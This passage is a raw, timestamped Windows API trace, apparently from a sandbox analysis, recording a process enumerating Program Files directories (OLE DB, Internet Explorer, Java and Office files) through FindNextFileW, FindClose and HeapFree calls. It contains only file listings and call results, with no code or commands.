nFileSizeHigh=0x0, nFileSizeLow=0x29080, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee.dll", cAlternateFileName="")) returned 1 [0109.236] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0109.237] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x38ff584 | out: lpFindFileData=0x38ff584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTO", cAlternateFileName="")) returned 0 [0109.238] FindClose (in: hFindFile=0x42902c0 | out: hFindFile=0x42902c0) returned 1 [0109.238] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4291058 | out: hHeap=0x5c0000) returned 1 [0109.238] FindNextFileW (in: hFindFile=0x4290440, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c11068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0109.239] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0109.239] FindNextFileW (in: hFindFile=0x4290440, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1 [0109.295] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0109.295] FindNextFileW (in: hFindFile=0x4290180, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43854cb5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43854cb5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43854cb5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll", cAlternateFileName="")) returned 1 [0109.296] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42d3200 | out: hHeap=0x5c0000) returned 1 [0109.296] FindNextFileW (in: hFindFile=0x4290080, lpFindFileData=0x38ff584 | out: lpFindFileData=0x38ff584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1 [0109.297] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42d3200 | out: hHeap=0x5c0000) returned 1 [0109.297] FindNextFileW (in: hFindFile=0x4290080, lpFindFileData=0x38ff584 | out: lpFindFileData=0x38ff584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d7f179, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msadc", cAlternateFileName="")) returned 1 [0109.494] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4291058 | out: hHeap=0x5c0000) returned 1 [0109.494] FindNextFileW (in: hFindFile=0x4290400, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa9c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadce.dll", cAlternateFileName="")) returned 1 [0109.494] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42d3200 | out: hHeap=0x5c0000) returned 1 [0109.494] FindNextFileW (in: hFindFile=0x4290080, lpFindFileData=0x38ff584 | out: lpFindFileData=0x38ff584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d8186d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Ole DB", cAlternateFileName="OLEDB~1")) returned 1 [0109.711] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4291058 | out: hHeap=0x5c0000) returned 1 [0109.712] FindNextFileW (in: hFindFile=0x42901c0, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x18600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaosp.dll", cAlternateFileName="")) returned 1 [0109.712] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42d3200 | out: hHeap=0x5c0000) returned 1 [0109.713] FindNextFileW (in: hFindFile=0x4290080, lpFindFileData=0x38ff584 | out: lpFindFileData=0x38ff584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440d35a9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440d35a9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440d35a9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd0a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wab32.dll", cAlternateFileName="")) returned 1 [0109.713] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0109.714] FindNextFileW (in: hFindFile=0x4290440, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 0 [0109.714] FindClose (in: hFindFile=0x4290440 | out: hFindFile=0x4290440) returned 1 [0109.714] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42b31f0 | out: hHeap=0x5c0000) returned 1 [0109.714] FindNextFileW (in: hFindFile=0x4290580, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a307d95, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5d0779b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5d0779b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x240000, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0109.953] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0109.953] FindNextFileW (in: hFindFile=0x42906c0, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a4ec31b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a4ec31b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a4ec31b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExtExport.exe", cAlternateFileName="")) returned 1 [0109.954] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0109.954] FindNextFileW (in: hFindFile=0x42906c0, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39ac4e70, ftCreationTime.dwHighDateTime=0x1d4ce0c, ftLastAccessTime.dwLowDateTime=0x837acf50, ftLastAccessTime.dwHighDateTime=0x1d4c32f, ftLastWriteTime.dwLowDateTime=0x837acf50, ftLastWriteTime.dwHighDateTime=0x1d4c32f, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="pearl.exe", cAlternateFileName="")) returned 1 [0109.959] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0109.959] FindNextFileW (in: hFindFile=0x42906c0, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a9b1003, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a9b1003, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a9b1003, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc218, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0109.962] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42b3160 | out: hHeap=0x5c0000) returned 1 [0109.962] FindNextFileW (in: hFindFile=0x4290580, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa235ac5b, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa235ac5b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Java", cAlternateFileName="")) returned 1 [0109.989] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42e3208 | out: hHeap=0x5c0000) returned 1 [0109.989] FindNextFileW (in: hFindFile=0x4290800, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7440, dwReserved0=0x0, dwReserved1=0x0, cFileName="dt_shmem.dll", cAlternateFileName="")) returned 1 [0110.034] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42e3208 | out: hHeap=0x5c0000) returned 1 [0110.034] FindNextFileW (in: hFindFile=0x4290800, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="policytool.exe", cAlternateFileName="POLICY~1.EXE")) returned 1 [0110.054] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0110.054] FindNextFileW (in: hFindFile=0x4290800, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="servertool.exe", cAlternateFileName="SERVER~1.EXE")) returned 1 [0110.055] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42d3200 | out: hHeap=0x5c0000) returned 1 [0110.055] FindNextFileW (in: hFindFile=0x42907c0, lpFindFileData=0x38ff584 | out: lpFindFileData=0x38ff584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xcac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="COPYRIGHT", cAlternateFileName="COPYRI~1")) returned 1 [0110.900] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42e3208 | out: hHeap=0x5c0000) returned 1 [0110.900] FindNextFileW (in: hFindFile=0x42903c0, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105ca28, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="applet", cAlternateFileName="")) returned 1 [0110.901] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42e3208 | out: hHeap=0x5c0000) returned 1 [0110.901] FindNextFileW (in: hFindFile=0x42903c0, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x562, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendars.properties", cAlternateFileName="CALEND~1.PRO")) returned 1 [0110.903] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42e3208 | out: hHeap=0x5c0000) returned 1 [0110.903] FindNextFileW (in: hFindFile=0x42903c0, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x15ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-types.properties", cAlternateFileName="CONTEN~1.PRO")) returned 1 [0111.105] HeapFree (hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42e3208) [0111.105] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42e3208 | out: hHeap=0x5c0000) returned 1 [0111.105] FindNextFileW (in: hFindFile=0x42903c0, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ed9405, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8ed9405, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa900a6f7, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4ce7de, dwReserved0=0x0, dwReserved1=0x0, cFileName="deploy.jar", cAlternateFileName="")) returned 1 [0111.359] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42e3208 | out: hHeap=0x5c0000) returned 1 [0111.359] FindNextFileW (in: hFindFile=0x42903c0, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf58, dwReserved0=0x0, dwReserved1=0x0, cFileName="flavormap.properties", cAlternateFileName="FLAVOR~1.PRO")) returned 1 [0113.721] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42e3208 | out: hHeap=0x5c0000) returned 1 [0113.721] FindNextFileW (in: hFindFile=0x42903c0, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x368a, dwReserved0=0x0, dwReserved1=0x0, cFileName="hijrah-config-umalqura.properties", cAlternateFileName="HIJRAH~1.PRO")) returned 1 [0114.476] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4343230 | out: hHeap=0x5c0000) returned 1 [0114.477] FindNextFileW (in: hFindFile=0x4290840, lpFindFileData=0x38ff08c | out: lpFindFileData=0x38ff08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa129361a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cursors", cAlternateFileName="")) returned 0 [0114.477] FindClose (in: hFindFile=0x4290840 | out: hFindFile=0x4290840) returned 1 [0114.477] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42e3208 | out: hHeap=0x5c0000) returned 1 [0114.477] FindNextFileW (in: hFindFile=0x42903c0, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x38, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx.properties", cAlternateFileName="JAVAFX~1.PRO")) returned 1 [0114.482] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42e3208 | out: hHeap=0x5c0000) returned 1 [0114.482] FindNextFileW (in: hFindFile=0x42903c0, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x88dc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfr.jar", cAlternateFileName="")) returned 1 [0114.604] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42e3208 | out: hHeap=0x5c0000) returned 1 [0114.604] FindNextFileW (in: hFindFile=0x42903c0, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x17d, dwReserved0=0x0, dwReserved1=0x0, cFileName="management-agent.jar", cAlternateFileName="MANAGE~1.JAR")) returned 1 [0114.650] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42e3208 | out: hHeap=0x5c0000) returned 1 [0114.650] FindNextFileW (in: hFindFile=0x42903c0, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="sound.properties", cAlternateFileName="SOUND~1.PRO")) returned 1 [0114.650] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42d3200 | out: hHeap=0x5c0000) returned 1 [0114.650] FindNextFileW (in: hFindFile=0x42907c0, lpFindFileData=0x38ff584 | out: lpFindFileData=0x38ff584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LICENSE", cAlternateFileName="")) returned 1 [0114.650] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42b3160 | out: hHeap=0x5c0000) returned 1 [0114.652] FindNextFileW (in: hFindFile=0x42906c0, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0de2f82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xafba0b05, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="jre1.8.0_144", cAlternateFileName="JRE18~1.0_1")) returned 0 [0114.652] FindClose (in: hFindFile=0x42906c0 | out: hFindFile=0x42906c0) returned 1 [0114.652] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0114.652] FindNextFileW (in: hFindFile=0x4290580, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9dfb986, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf9dfb986, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft Office", cAlternateFileName="MICROS~2")) returned 1 [0114.658] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42b3160 | out: hHeap=0x5c0000) returned 1 [0114.658] FindNextFileW (in: hFindFile=0x4290180, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf982bd9c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf982bd9c, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManifests", cAlternateFileName="PACKAG~1")) returned 1 [0114.676] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42b3160 | out: hHeap=0x5c0000) returned 1 [0114.676] FindNextFileW (in: hFindFile=0x4290180, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0114.679] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42e3208 | out: hHeap=0x5c0000) returned 1 [0114.679] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x38ff584 | out: lpFindFileData=0x38ff584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CLIPART", cAlternateFileName="")) returned 1 [0115.573] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0115.574] FindNextFileW (in: hFindFile=0x42901c0, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, 